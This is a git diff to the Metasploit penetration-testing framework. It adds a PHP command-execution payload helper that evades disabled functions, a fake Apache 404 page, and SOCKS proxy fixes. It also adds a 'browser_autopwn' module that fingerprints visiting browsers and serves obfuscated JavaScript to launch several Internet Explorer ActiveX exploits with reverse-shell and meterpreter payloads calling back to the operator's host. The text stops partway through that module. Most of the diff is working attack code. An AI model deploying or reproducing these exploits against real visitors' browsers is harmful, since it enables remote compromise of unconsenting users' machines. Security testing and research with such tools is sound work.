diff --git a/lib/msf/core/exploit/http.rb b/lib/msf/core/exploit/http.rb
index 36a7810333..7602fce753 100644
--- a/lib/msf/core/exploit/http.rb
+++ b/lib/msf/core/exploit/http.rb
@@ -443,6 +443,7 @@ protected
cli.send_response(response)
end
+
#
# Sends a 302 redirect relative to our base path
#
@@ -451,6 +452,27 @@ protected
end
+ #
+ # Sends a 404
+ #
+ def send_not_found(cli)
+ resp_404 = create_response(404, 'Not Found')
+ resp_404.body = %Q{
+
+
+404 Not Found
+
+Not Found
+The requested URL /404.html was not found on this server.
+
+Apache/2.2.9 (Unix) Server at #{datastore['LHOST']} Port #{datastore['SRVPORT']}
+
+}
+
+ cli.send_response(resp_404)
+ end
+
+
#
# Returns the configured (or random, if not configured) URI path
#
diff --git a/lib/msf/core/payload/php.rb b/lib/msf/core/payload/php.rb
new file mode 100644
index 0000000000..659303e469
--- /dev/null
+++ b/lib/msf/core/payload/php.rb
@@ -0,0 +1,147 @@
+require 'msf/core'
+
+###
+#
+###
+module Msf::Payload::Php
+
+ def initialize(info = {})
+ super(info)
+ end
+
+ def php_preamble(options = {})
+ dis = options[:disabled_varname] || '$' + Rex::Text.rand_text_alpha(rand(4) + 4)
+ dis = '$' + dis if (dis[0,1] != '$')
+
+ @dis = dis
+
+ preamble = "
+ @set_time_limit(0); @ignore_user_abort(1); @ini_set('max_execution_time',0);
+ #{dis}=@ini_get('disable_functions');
+ if(!empty(#{dis})){
+ #{dis}=preg_replace('/[, ]+/', ',', #{dis});
+ #{dis}=explode(',', #{dis});
+ #{dis}=array_map('trim', #{dis});
+ }else{
+ #{dis}=array();
+ }
+ "
+ return preamble
+ end
+
+ def php_system_block(options = {})
+ cmd = options[:cmd_varname] || '$cmd'
+ dis = options[:disabled_varname] || @dis || '$' + Rex::Text.rand_text_alpha(rand(4) + 4)
+ output = options[:output_varname] || '$' + Rex::Text.rand_text_alpha(rand(4) + 4)
+
+ if (@dis.nil?)
+ @dis = dis
+ end
+
+ cmd = '$' + cmd if (cmd[0,1] != '$')
+ dis = '$' + dis if (dis[0,1] != '$')
+ output = '$' + output if (output[0,1] != '$')
+
+ is_callable = '$' + Rex::Text.rand_text_alpha(rand(4) + 4)
+ in_array = '$' + Rex::Text.rand_text_alpha(rand(4) + 4)
+
+ setup = "
+ #{cmd}=#{cmd}.\" 2>&1\\n\";
+ #{is_callable}='is_callable';
+ #{in_array}='in_array';
+ "
+ shell_exec = "
+ if(#{is_callable}('shell_exec')and!#{in_array}('shell_exec',#{dis})){
+ #{output}=shell_exec(#{cmd});
+ }else"
+ passthru = "
+ if(#{is_callable}('passthru')and!#{in_array}('passthru',#{dis})){
+ ob_start();
+ passthru(#{cmd});
+ #{output}=ob_get_contents();
+ ob_end_clean();
+ }else"
+ system = "
+ if(#{is_callable}('system')and!#{in_array}('system',#{dis})){
+ ob_start();
+ system(#{cmd});
+ #{output}=ob_get_contents();
+ ob_end_clean();
+ }else"
+ exec = "
+ if(#{is_callable}('exec')and!#{in_array}('exec',#{dis})){
+ #{output}=array();
+ exec(#{cmd},#{output});
+ #{output}=join(chr(10),#{output}).chr(10);
+ }else"
+ proc_open = "
+ if(#{is_callable}('proc_open')and!#{in_array}('proc_open',#{dis})){
+ $handle=proc_open(#{cmd},array(array(pipe,r),array(pipe,w),array(pipe,w)),$pipes);
+ #{output}=NULL;
+ while(!feof($pipes[1])){
+ #{output}.=fread($pipes[1],1024);
+ }
+ @proc_close($handle);
+ }else"
+ popen = "
+ if(#{is_callable}('popen')and!#{in_array}('popen',#{dis})){
+ $fp=popen(#{cmd},r);
+ #{output}=NULL;
+ if(is_resource($fp)){
+ while(!feof($fp)){
+ #{output}.=fread($fp,1024);
+ }
+ }
+ @pclose($fp);
+ }else"
+ fail_block = "
+ {
+ #{output}=0;
+ }
+ "
+
+ #exec_methods = [shell_exec, passthru, system, exec, proc_open, popen].sort_by { rand }
+ exec_methods = [passthru, shell_exec, system, exec, proc_open, popen]#.sort_by { rand }
+ buf = setup + exec_methods.join("") + fail_block
+ #buf = Rex::Text.compress(buf)
+
+ ###
+ # All of this junk should go in an encoder
+ #
+ # Replace all single-quoted strings with quoteless equivalents, e.g.:
+ # echo('asdf');
+ # becomes
+ # echo($a.$s.$d.$f);
+ # and add "$a=chr(97);" et al to the top of the block
+ #
+ # Once this is complete, it is guaranteed that there are no spaces
+ # inside strings. This combined with the fact that there are no
+ # function definitions, which require a space between the "function"
+ # keyword and the name, means we can completely remove spaces.
+ #
+ #alpha_used = { 95 }
+ #buf.gsub!(/'(.*?)'/) {
+ # str_array = []
+ # $1.each_byte { |c|
+ # if (('a'..'z').include?(c.chr))
+ # alpha_used[c] = 1
+ # str_array << "$#{c.chr}."
+ # else
+ # str_array << "chr(#{c})."
+ # end
+ # }
+ # str_array.last.chop!
+ # str_array.join("")
+ #}
+ #if (alpha_used.length > 1)
+ # alpha_used.each_key { |k| buf = "$#{k.chr}=chr(#{k});" + buf }
+ #end
+ #
+ #buf.gsub!(/\s*/, '')
+ #
+ ###
+
+ return buf
+
+ end
+end
diff --git a/lib/rex/exploitation/obfuscatejs.rb b/lib/rex/exploitation/obfuscatejs.rb
index 6c579e3b88..0ea6e5bfb8 100644
--- a/lib/rex/exploitation/obfuscatejs.rb
+++ b/lib/rex/exploitation/obfuscatejs.rb
@@ -39,7 +39,7 @@ class ObfuscateJS
# Returns the dynamic symbol associated with the supplied symbol name
#
def sym(name)
- @dynsym[name]
+ @dynsym[name] || name
end
#
diff --git a/lib/rex/socket/comm/local.rb b/lib/rex/socket/comm/local.rb
index c2378e2575..88f8ffac76 100644
--- a/lib/rex/socket/comm/local.rb
+++ b/lib/rex/socket/comm/local.rb
@@ -213,20 +213,21 @@ class Rex::Socket::Comm::Local
def self.proxy (sock, type, host, port)
+ #$stdout.print("PROXY\n")
case type.downcase
when 'socks4'
setup = [4,1,port.to_i].pack('CCn') + Socket.gethostbyname(host)[3] + Rex::Text.rand_text_alpha(rand(8)+1) + "\x00"
size = sock.put(setup)
if (size != setup.length)
- raise ArgumentError, "Wrote less data than expected to the socks proxy"
+ raise ArgumentError, "Wrote less data than expected to the socks4 proxy"
end
-
+
begin
ret = sock.get_once(8, 30)
rescue IOError
raise Rex::ConnectionRefused.new(host, port), caller
end
-
+
if (ret.nil? or ret.length < 8)
raise ArgumentError, 'SOCKS4 server did not respond with a proper response'
end
@@ -234,30 +235,42 @@ class Rex::Socket::Comm::Local
raise "SOCKS4 server responded with error code #{ret[0]}"
end
when 'socks5'
- # TODO: add dns lookups through socks5
auth_methods = [5,1,0].pack('CCC')
size = sock.put(auth_methods)
if (size != auth_methods.length)
- raise ArgumentError, "Wrote less data than expected to the socks proxy"
+ raise ArgumentError, "Wrote less data than expected to the socks5 proxy"
end
response = sock.get_once(2,30)
if (0xff == response[1,1])
raise ArgumentError, "Proxy requires authentication"
end
- setup = [5,1,0,1].pack('CCCC') + Socket.gethostbyname(host)[3] + [port.to_i].pack('n')
+ if (Rex::Socket.is_ipv4?(host))
+ addr = Rex::Socket.gethostbyname(host)[3]
+ setup = [5,1,0,1].pack('C4') + addr + [port.to_i].pack('n')
+ elsif (Rex::Socket.support_ipv6? and Rex::Socket.is_ipv6?(host))
+ # IPv6 stuff all untested
+ addr = Rex::Socket.gethostbyname(host)[3]
+ setup = [5,1,0,4].pack('C4') + addr + [port.to_i].pack('n')
+ else
+ # Then it must be a domain name.
+ # Unfortunately, it looks like the host has always been
+ # resolved by the time it gets here, so this code never runs.
+ setup = [5,1,0,3].pack('C4') + [host.length].pack('C') + host + [port.to_i].pack('n')
+ end
+
size = sock.put(setup)
if (size != setup.length)
- raise ArgumentError, "Wrote less data than expected to the socks proxy"
+ raise ArgumentError, "Wrote less data than expected to the socks5 proxy"
end
-
+
begin
response = sock.get_once(10, 30)
rescue IOError
raise Rex::ConnectionRefused.new(host, port), caller
end
-
- if (response.nil? or response.length < 8)
+
+ if (response.nil? or response.length < 10)
raise ArgumentError, 'SOCKS5 server did not respond with a proper response'
end
if response[1] != 0
diff --git a/modules/auxiliary/server/browser_autopwn.rb b/modules/auxiliary/server/browser_autopwn.rb
new file mode 100644
index 0000000000..36fc00788d
--- /dev/null
+++ b/modules/auxiliary/server/browser_autopwn.rb
@@ -0,0 +1,309 @@
+##
+# $Id:$
+##
+
+##
+# This file is part of the Metasploit Framework and may be subject to
+# redistribution and commercial restrictions. Please see the Metasploit
+# Framework web site for more information on licensing and terms of use.
+# http://metasploit.com/projects/Framework/
+##
+
+
+
+require 'msf/core'
+
+module Msf
+
+class Auxiliary::Server::BrowserAutoPwn < Msf::Auxiliary
+
+ BROWSER_IE = "MSIE"
+ BROWSER_FF = "Firefox"
+ BROWSER_SAFARI = "Safari"
+ OS_LINUX = "Linux"
+ OS_MAC_OSX = "Mac OSX"
+ OS_WINDOWS = "Windows"
+
+ include Exploit::Remote::HttpServer::HTML
+ include Auxiliary::Report
+
+ def initialize(info = {})
+ super(update_info(info,
+ 'Name' => 'HTTP Client fingerprinter',
+ 'Version' => '$Revision: $',
+ 'Description' => %q{
+ Webbrowser fingerprinter and autoexploiter.
+ },
+ 'Author' => 'egypt ',
+ 'License' => BSD_LICENSE,
+ 'Actions' =>
+ [
+ [ 'WebServer' ]
+ ],
+ 'PassiveActions' =>
+ [
+ 'WebServer'
+ ],
+ 'DefaultAction' => 'WebServer'))
+
+ register_options([
+ OptAddress.new('LHOST', [true, 'Your local IP address ror reverse payloads']),
+ OptPort.new('LPORT', [false, 'For reverse payloads; incremented for each exploit', 4444])
+ ])
+
+ @exploits = Hash.new
+ end
+ def init_exploit(name)
+ case name
+ when %r#exploit/windows#
+ payload='windows/meterpreter/reverse_tcp'
+ else
+ payload='generic/shell_reverse_tcp'
+ end
+ @exploits[name] = framework.modules.create(name)
+ @exploits[name].datastore['SRVPORT'] = datastore['SRVPORT']
+
+ # for testing, set the exploit uri to the name of the exploit so it's
+ # easy to tell what is happening from the browser
+ @exploits[name].datastore['URIPATH'] = name
+
+ @exploits[name].datastore['LPORT'] = @lport
+ @exploits[name].datastore['LHOST'] = @lhost
+ @exploits[name].exploit_simple(
+ 'LocalInput' => self.user_input,
+ 'LocalOutput' => self.user_output,
+ 'Target' => 0,
+ 'Payload' => payload,
+ 'RunAsJob' => true)
+
+ #print_status("#{name} at uri #{@exploits[name].get_resource} with payload #{payload} and lport #{@lport}")
+ @lport += 1
+ end
+
+ def setup()
+ super
+ @lport = datastore['LPORT'] || 4444
+ @lhost = datastore['LHOST']
+ @lport = @lport.to_i
+ print_status("Starting exploit modules...")
+
+ ##
+ # Start all the exploit modules
+ ##
+
+ # TODO: add an Automatic target to this guy.
+ # For now just use the default target of Mac.
+ # requires javascript
+ #init_exploit('exploit/multi/browser/firefox_queryinterface')
+
+ # works on iPhone
+ # does not require javascript
+ #init_exploit('exploit/osx/armle/safari_libtiff')
+
+ #init_exploit('exploit/osx/browser/software_update')
+ #init_exploit('exploit/windows/browser/ani_loadimage_chunksize')
+ #init_exploit('exploit/windows/browser/apple_quicktime_rtsp')
+
+ # Works on default IE 5.5 and 6
+ # does not require javascript
+ init_exploit('exploit/windows/browser/ms03_020_ie_objecttype')
+
+ # requires javascript
+ init_exploit('exploit/windows/browser/novelliprint_getdriversettings');
+
+ # requires javascript
+ #init_exploit('exploit/windows/browser/ms06_055_vml_method')
+
+ # Works on default IE 5 and 6
+ # requires javascript
+ # requires ActiveXObject('DirectAnimation.PathControl')
+ init_exploit('exploit/windows/browser/ms06_067_keyframe')
+
+ # only works on IE with XML Core Services
+ # requires javascript
+ # requires classid 88d969c5-f192-11d4-a65f-0040963251e5
+ init_exploit('exploit/windows/browser/ms06_071_xml_core')
+
+ #init_exploit('exploit/windows/browser/winamp_playlist_unc')
+
+ # requires UNC path which seems to only work on IE in my tests
+ #init_exploit('exploit/windows/smb/smb_relay')
+ end
+
+ def on_request_uri(cli, request)
+ print_status("Request '#{request.uri}' from #{cli.peerhost}:#{cli.peerport}")
+
+ browser_make = nil
+ browser_ver = nil
+
+ ua = request['User-Agent']
+ case (ua)
+ when /Firefox\/((:?[0-9]+\.)+[0-9]+)/:
+ ua_name = BROWSER_FF
+ ua_vers = $1
+ when /Mozilla\/[0-9]\.[0-9] \(compatible; MSIE ([0-9]\.[0-9]+)/:
+ ua_name = BROWSER_IE
+ ua_vers = $1
+ when /Version\/(\d+\.\d+\.\d+).*Safari/
+ ua_name = BROWSER_SAFARI
+ ua_vers = $1
+ end
+ case (ua)
+ when /Windows/:
+ os_name = OS_WINDOWS
+ when /Linux/:
+ os_name = OS_LINUX
+ when /iPhone/
+ os_name = OS_MAC_OSX
+ os_arch = 'armle'
+ when /Mac OS X/
+ os_name = OS_MAC_OSX
+ end
+ case (ua)
+ when /PPC/
+ os_arch = 'ppc'
+ when /i.86/
+ os_arch = 'x86'
+ end
+
+ os_name ||= 'Unknown'
+
+ print_status("Browser claims to be #{ua_name} #{ua_vers}, running on #{os_name}")
+ report_note(
+ :host => cli.peerhost,
+ :type => 'http_request',
+ :data => "#{os_name} #{os_arch} #{ua_name} #{ua_vers}"
+ )
+
+ response = create_response()
+
+ case request.uri
+ when datastore['URIPATH']:
+ # TODO: consider having a javascript timeout function that writes
+ # each exploit's iframe so they don't step on each other.
+
+ # for smb_relay
+ windows_html = %Q{
+
+
+
+ }
+ #osx_html = %Q{
+ #
+ # '+
+ #
+ # }
+
+ var_onload_func = Rex::Text.rand_text_alpha(8)
+ objects = {
+ 'DirectAnimation.PathControl' => @exploits['exploit/windows/browser/ms06_067_keyframe'].get_resource,
+ '{88d969c5-f192-11d4-a65f-0040963251e5}' => @exploits['exploit/windows/browser/ms06_071_xml_core'].get_resource,
+ '{36723F97-7AA0-11D4-8919-FF2D71D0D32C}' => @exploits['exploit/windows/browser/novelliprint_getdriversettings'].get_resource,
+ }
+ hash_declaration = objects.map{ |k, v| "'#{k}', '#{v}'," }.join
+ hash_declaration = hash_declaration[0,hash_declaration.length-1]
+
+ script = < /path/to/exploit/for/classid
+ // and
+ // ActiveXname => /path/to/exploit/for/ActiveXname
+ var object_list = new Hash(#{hash_declaration});
+
+ if (navigator.userAgent.indexof("MSIE") != -1) {
+ // iterate through our list of exploits
+ for (var current_item in object_list.items) {
+ // classids are stored surrounded in braces for an easy way to tell
+ // them from ActiveX object names, so if it has braces, strip them
+ // out and create an object element with that classid
+ if (current_item.substring(0,1) == '{') {
+ obj_element = document.createElement("object");
+ obj_element.setAttribute("cl" + "as" + "sid", "cl" + "s" + "id" +":" + current_item.substring( 1, current_item.length - 1 ) ) ;
+ obj_element.setAttribute("id", current_item);
+ body_elem.appendChild(obj_element);
+ vuln_obj = document.getElementById(current_item);
+ } else {
+ // otherwise, try to create an AXO with that name
+ try { vuln_obj = new ActiveXObject(current_item); } catch(e){}
+ }
+ if (vuln_obj) {
+ body_elem.innerHTML += '' + object_list.items[current_item] + '
';
+ //body_elem.innerHTML += '';
+ }
+ vuln_obj = null;
+ }
+ }
+}
+ENDJS
+ js = Rex::Exploitation::ObfuscateJS.new(script)
+ js.obfuscate(
+ 'Symbols' => {
+ 'Variables' => [ 'object_list', 'obj_element', 'vuln_obj', 'body_elem', 'body_id', 'current_item', 'Hash', 'items', 'BodyOnLoad' ]
+ }
+ )
+ body = <
+Please wait while we connect you...
+
+ENDHTML
+ #body << " "
+
+ response.body = ' Loading '
+ response.body << ' ' + body
+
+ if (os_name == OS_WINDOWS)
+ response.body << windows_html
+ end
+ if (os_name == OS_MAC_OSX)
+ response.body << osx_html
+ end
+ response.body << "